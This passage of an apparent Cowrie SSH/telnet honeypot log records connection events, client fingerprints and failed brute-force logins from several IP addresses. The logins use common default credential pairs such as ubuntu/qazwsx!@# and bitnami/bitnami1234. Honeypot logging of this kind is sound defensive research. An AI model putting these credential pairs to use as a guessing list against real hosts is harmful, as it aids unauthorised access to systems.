af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:56:02.876515Z","src_ip":"101.36.124.127","session":"94039876f271","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitnami","password":"bitnami1234","message":"login attempt [bitnami/bitnami1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:56:03.775728Z","src_ip":"101.36.124.127","session":"94039876f271","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:56:04.996639Z","src_ip":"101.36.124.127","session":"94039876f271","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.70.252.227","src_port":49008,"dst_ip":"159.203.135.109","dst_port":22,"session":"4fceae1613c8","protocol":"ssh","message":"New connection: 96.70.252.227:49008 (159.203.135.109:22) [session: 4fceae1613c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:56:09.385344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:56:09.402929Z","src_ip":"96.70.252.227","session":"4fceae1613c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:56:09.429898Z","src_ip":"96.70.252.227","session":"4fceae1613c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ila","message":"login attempt [ali/ila] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:56:09.602120Z","src_ip":"96.70.252.227","session":"4fceae1613c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:56:10.635108Z","src_ip":"96.70.252.227","session":"4fceae1613c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.104.93.159","src_port":44242,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ef5715822df","protocol":"telnet","message":"New connection: 172.104.93.159:44242 (10.17.0.5:23) [session: 0ef5715822df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:56:23.050423Z"}
{"eventid":"cowrie.session.closed","duration":10.167489767074585,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:56:33.217823Z","src_ip":"172.104.93.159","session":"0ef5715822df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.127","src_port":43562,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc60aa08079d","protocol":"ssh","message":"New connection: 101.36.124.127:43562 (159.203.135.109:22) [session: dc60aa08079d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:56:57.816083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:56:57.821181Z","src_ip":"101.36.124.127","session":"dc60aa08079d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:56:58.037414Z","src_ip":"101.36.124.127","session":"dc60aa08079d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest2023","message":"login attempt [guest/guest2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:56:58.935257Z","src_ip":"101.36.124.127","session":"dc60aa08079d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:57:00.155215Z","src_ip":"101.36.124.127","session":"dc60aa08079d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.219.160.216","src_port":7897,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ea75558de7f","protocol":"telnet","message":"New connection: 106.219.160.216:7897 (10.17.0.5:23) [session: 8ea75558de7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:57:44.509095Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.127","src_port":54696,"dst_ip":"159.203.135.109","dst_port":22,"session":"0de6ced1ae46","protocol":"ssh","message":"New connection: 101.36.124.127:54696 (159.203.135.109:22) [session: 0de6ced1ae46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:57:52.577841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:57:52.582113Z","src_ip":"101.36.124.127","session":"0de6ced1ae46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:57:52.798500Z","src_ip":"101.36.124.127","session":"0de6ced1ae46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hssuser","password":"hssuser","message":"login attempt [hssuser/hssuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:57:53.705699Z","src_ip":"101.36.124.127","session":"0de6ced1ae46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:57:54.922760Z","src_ip":"101.36.124.127","session":"0de6ced1ae46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.932203531265259,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:57:57.441177Z","src_ip":"106.219.160.216","session":"8ea75558de7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":52442,"dst_ip":"10.17.0.5","dst_port":22,"session":"b91b0301f1a4","protocol":"ssh","message":"New connection: 27.119.7.6:52442 (10.17.0.5:22) [session: b91b0301f1a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:57:58.490152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:57:58.555061Z","src_ip":"27.119.7.6","session":"b91b0301f1a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:57:58.740229Z","src_ip":"27.119.7.6","session":"b91b0301f1a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demouser","password":"demouser123","message":"login attempt [demouser/demouser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:57:59.505368Z","src_ip":"27.119.7.6","session":"b91b0301f1a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:58:00.713118Z","src_ip":"27.119.7.6","session":"b91b0301f1a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.127","src_port":52076,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab366d32b1c1","protocol":"ssh","message":"New connection: 101.36.124.127:52076 (159.203.135.109:22) [session: ab366d32b1c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:58:46.580803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:58:46.588290Z","src_ip":"101.36.124.127","session":"ab366d32b1c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:58:46.804673Z","src_ip":"101.36.124.127","session":"ab366d32b1c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qazwsx!@#","message":"login attempt [ubuntu/qazwsx!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:58:47.702554Z","src_ip":"101.36.124.127","session":"ab366d32b1c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:58:48.921703Z","src_ip":"101.36.124.127","session":"ab366d32b1c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.127","src_port":42146,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e9ec0c7a912","protocol":"ssh","message":"New connection: 101.36.124.127:42146 (159.203.135.109:22) [session: 3e9ec0c7a912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:59:40.512336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:59:40.516480Z","src_ip":"101.36.124.127","session":"3e9ec0c7a912","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:59:40.731511Z","src_ip":"101.36.124.127","session":"3e9ec0c7a912","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing123","password":"testing123","message":"login attempt [testing123/testing123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:59:41.626222Z","src_ip":"101.36.124.127","session":"3e9ec0c7a912","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:59:42.843791Z","src_ip":"101.36.124.127","session":"3e9ec0c7a912","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":50174,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4a29a0df628","protocol":"ssh","message":"New connection: 27.119.7.6:50174 (10.17.0.5:22) [session: a4a29a0df628]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:00:03.125967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:00:03.143942Z","src_ip":"27.119.7.6","session":"a4a29a0df628","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:00:03.368770Z","src_ip":"27.119.7.6","session":"a4a29a0df628","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"password!","message":"login attempt [test/password!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:00:04.255710Z","src_ip":"27.119.7.6","session":"a4a29a0df628","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:00:05.453925Z","src_ip":"27.119.7.6","session":"a4a29a0df628","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.127","src_port":36896,"dst_ip":"159.203.135.109","dst_port":22,"session":"70720b3e7d7b","protocol":"ssh","message":"New connection: 101.36.124.127:36896 (159.203.135.109:22) [session: 70720b3e7d7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:00:36.077787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:00:36.084331Z","src_ip":"101.36.124.127","session":"70720b3e7d7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:00:36.308607Z","src_ip":"101.36.124.127","session":"70720b3e7d7b","protocol":"ssh"}
